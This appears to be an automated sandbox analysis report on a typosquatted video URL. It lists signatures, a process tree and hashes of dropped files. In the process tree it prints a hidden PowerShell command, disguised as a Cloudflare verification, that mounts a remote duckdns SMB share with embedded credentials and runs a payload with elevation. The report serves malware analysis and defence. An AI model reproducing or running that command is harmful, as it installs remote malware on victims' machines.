Resubmissions

09/04/2025, 17:31

250409-v3wdfaxycw 10

09/04/2025, 17:30

250409-v264jsxpz2 8

09/04/2025, 17:26

250409-vzvbzaxpt8 4

Analysis

  • max time kernel
    23s
  • max time network
    26s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/04/2025, 17:30

General

  • Target

    https://www.youtude.net/watch?v=i50wel2lVsw

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtude.net/watch?v=i50wel2lVsw
    1⤵
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1488
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x2cc,0x2d0,0x2d4,0x2c8,0x360,0x7ffa66fbf208,0x7ffa66fbf214,0x7ffa66fbf220
      2⤵
        PID:5976
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1900,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=2368 /prefetch:3
        2⤵
          PID:5092
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2336,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:2
          2⤵
            PID:4928
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2444,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:8
            2⤵
              PID:4728
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3512,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:1
              2⤵
                PID:3876
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=3536,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
                2⤵
                  PID:5328
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4976,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5072 /prefetch:8
                  2⤵
                    PID:3548
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4816,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=4984 /prefetch:8
                    2⤵
                      PID:1616
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5628,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:8
                      2⤵
                        PID:5272
                      • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5644,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:8
                        2⤵
                          PID:1628
                        • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5644,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:8
                          2⤵
                            PID:1236
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6092,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:8
                            2⤵
                              PID:3372
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6096,i,14791115468448501758,11359031126643096186,262144 --variations-seed-version --mojo-platform-channel-handle=6116 /prefetch:8
                              2⤵
                                PID:3184
                            • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                              1⤵
                                PID:5676
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                1⤵
                                  PID:3432
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                    2⤵
                                      PID:4156
                                  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
                                    "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -Command "Start-Process cmd -ArgumentList '/c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)
                                    1⤵
                                    • Command and Scripting Interpreter: PowerShell
                                    • Drops file in System32 directory
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1100
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234! && \\aaso12.duckdns.org\shear\s -fullinstall
                                      2⤵
                                        PID:4228
                                        • C:\Windows\system32\net.exe
                                          net use \\aaso12.duckdns.org\shear /user:WORKGROUP\smbusr aabb1234!
                                          3⤵
                                            PID:1628

                                      Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                        Filesize

                                        280B

                                        MD5

                                        7b0736a36bad51260e5db322736df2e9

                                        SHA1

                                        30af14ed09d3f769230d67f51e0adb955833673e

                                        SHA256

                                        0d2adfd06d505b9020c292d30597083d808bfd90ddc0fe173def5db96832a087

                                        SHA512

                                        caabdc6a8601b93f3c082e6506b3c9efe2242b90e92e86306dc0bd4857d33343ba395325fabb21f5db562d3e3932f52f77de547f379072d0154efd5f1b1cdeb3

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json

                                        Filesize

                                        2B

                                        MD5

                                        99914b932bd37a50b983c5e7c90ae93b

                                        SHA1

                                        bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

                                        SHA256

                                        44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

                                        SHA512

                                        27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps

                                        Filesize

                                        107KB

                                        MD5

                                        2b66d93c82a06797cdfd9df96a09e74a

                                        SHA1

                                        5f7eb526ee8a0c519b5d86c845fea8afd15b0c28

                                        SHA256

                                        d4c064db769b3c109da2ed80a53fbab00987c17421a47921e41e213781d67954

                                        SHA512

                                        95e45c0aea0e704be5f512dffaae377d4abef78da99b3bca769264d69be20f2570daf2f47905645217e1b2696e42b101f26149219f148b4d6dd97a6c2868b6f5

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

                                        Filesize

                                        2B

                                        MD5

                                        d751713988987e9331980363e24189ce

                                        SHA1

                                        97d170e1550eee4afc0af065b78cda302a97674c

                                        SHA256

                                        4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                                        SHA512

                                        b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

                                        Filesize

                                        40B

                                        MD5

                                        20d4b8fa017a12a108c87f540836e250

                                        SHA1

                                        1ac617fac131262b6d3ce1f52f5907e31d5f6f00

                                        SHA256

                                        6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

                                        SHA512

                                        507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                        Filesize

                                        16KB

                                        MD5

                                        8d0f5c509264a7dddcdffcb09308795e

                                        SHA1

                                        9910b3683118ab824326269c1580325bfa2ae9ca

                                        SHA256

                                        64ddb68a63f5c0c00ee082086eface07b1e5c23a08e71c50d9b979e7407fbeb6

                                        SHA512

                                        43592c240524935450d718eecc61761523995b41a77ebece08102338005796e07c5e17cfbbb7f35df3aecfb23eb059f7df24b715fdbc464bd0d80f8dceb8bf30

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

                                        Filesize

                                        36KB

                                        MD5

                                        d8d6df7156884a83e27f104a25f29ed9

                                        SHA1

                                        9ccb29502175c56093f357085e04cbfbcfc33347

                                        SHA256

                                        12fcf45b80ac2ca0b868904e50f56d1b18b61c2358604b16043071bdac9381e5

                                        SHA512

                                        c277bf985c320f24cdb1a7aa02006fa9e2a871801a47288a855d9333fbfc3e4b13dc30f0df59d0bc03b0ddb15a0b75e1007c5408bf893492d9f027da1794859a

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log

                                        Filesize

                                        22KB

                                        MD5

                                        2e254fb48a2c3036e93cb77a614f862d

                                        SHA1

                                        e0e9491207bc74d4f92bcf9e6326b12d62ddc8b5

                                        SHA256

                                        7bfe674066ceb9cf9414bc21dc848119005716df82e84e0656edc439c64ad758

                                        SHA512

                                        9b2e252e105d48ecf0978cc677dc55a0adefaa45c0af9a798b5e7cc352137f7412e33db765ded14a7e7701ab97713c307b80d5dda002a0982ad3cf8c5e89a01a

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                        Filesize

                                        40KB

                                        MD5

                                        4c6df834eb438c7847845989fdcea319

                                        SHA1

                                        2f796f8c0623dd4a19c6e5e9c412da153151064d

                                        SHA256

                                        b10b67992a7dbab4366bc2f94a8add8c26d3288f9f758dd826c629d0794357a9

                                        SHA512

                                        c49d000911142d171e006fc41c1bfcc13a25b41ae618f9b256d93fc4a6a937f6fb1827e49e9b4f39835730255233009e9a2af1e39305ad5ecf605c4fedc9f048

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                        Filesize

                                        40KB

                                        MD5

                                        10415e5d376a92215f5c8063ce4c42aa

                                        SHA1

                                        68efee8d9c2c30748943696009bc813bf7f1ca23

                                        SHA256

                                        5221c3d39263e64837cb42560b8cd4e2969c1125ba15d4ddf6aaa4735ffec148

                                        SHA512

                                        e7c45f1fec8650a9c07c8ee246391b97937cb1d449e6280c02117028e886286a40b9b98f94487815399fad31920d9ba08d97f6eea49d700c25392104daef348e

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                        Filesize

                                        49KB

                                        MD5

                                        2894069b632c21ff419dce3f6afb05d5

                                        SHA1

                                        c3e110fd63a974ae3b4965c03d764eb9db47a090

                                        SHA256

                                        c2f6a3e35616808f28ad7946fc7596a5d0607cc6ef519e96dfb7169039baf436

                                        SHA512

                                        87164a78874fe8df706b6d40ef51eb16ba0126ebda2dc754e22e99b674e7bf73e76eaccd2ed912c14a3efb1f67c8a71296f686442261df069ca09ed3dc563892

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\ghbmnnjooekpmoecnnnilnnbdlolhkhi_1.fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

                                        Filesize

                                        152KB

                                        MD5

                                        dd9bf8448d3ddcfd067967f01e8bf6d7

                                        SHA1

                                        d7829475b2bd6a3baa8fabfaf39af57c6439b35e

                                        SHA256

                                        fa2232917a5656ea4f811936561ea6b7c92b3c0004c5e08ecb97636d3afc6f72

                                        SHA512

                                        65347df34378c2bbb34417e2cccfb3251a0b2412422cc190eed9df525b6e0a9948e0295ea3c33b3ad873ce81e369e89a138ac41d6eb7229546c3269107e661de

                                      • C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

                                        Filesize

                                        2KB

                                        MD5

                                        c1a9b92dcab8fdbd3ff133ce57e2a95b

                                        SHA1

                                        3f285bb80be4593de14379b976b8431989943d4d

                                        SHA256

                                        dd4910d2527776edf23865d6cb793be2c422b2c82610aa3e58386195df48ef86

                                        SHA512

                                        e9bbabb942a43cba5bacb90f32b6e1c32508a4fc5a2f3d2bf75ac2a9136058fab7846c3187a8c4476e25712b14d54eebbfcf97b08e63ab0bfd67b10659943798

                                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocjhgtkr.5ob.ps1

                                        Filesize

                                        60B

                                        MD5

                                        d17fe0a3f47be24a6453e9ef58c94641

                                        SHA1

                                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                        SHA256

                                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                        SHA512

                                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                      • memory/1100-471-0x000001F11B360000-0x000001F11B382000-memory.dmp

                                        Filesize

                                        136KB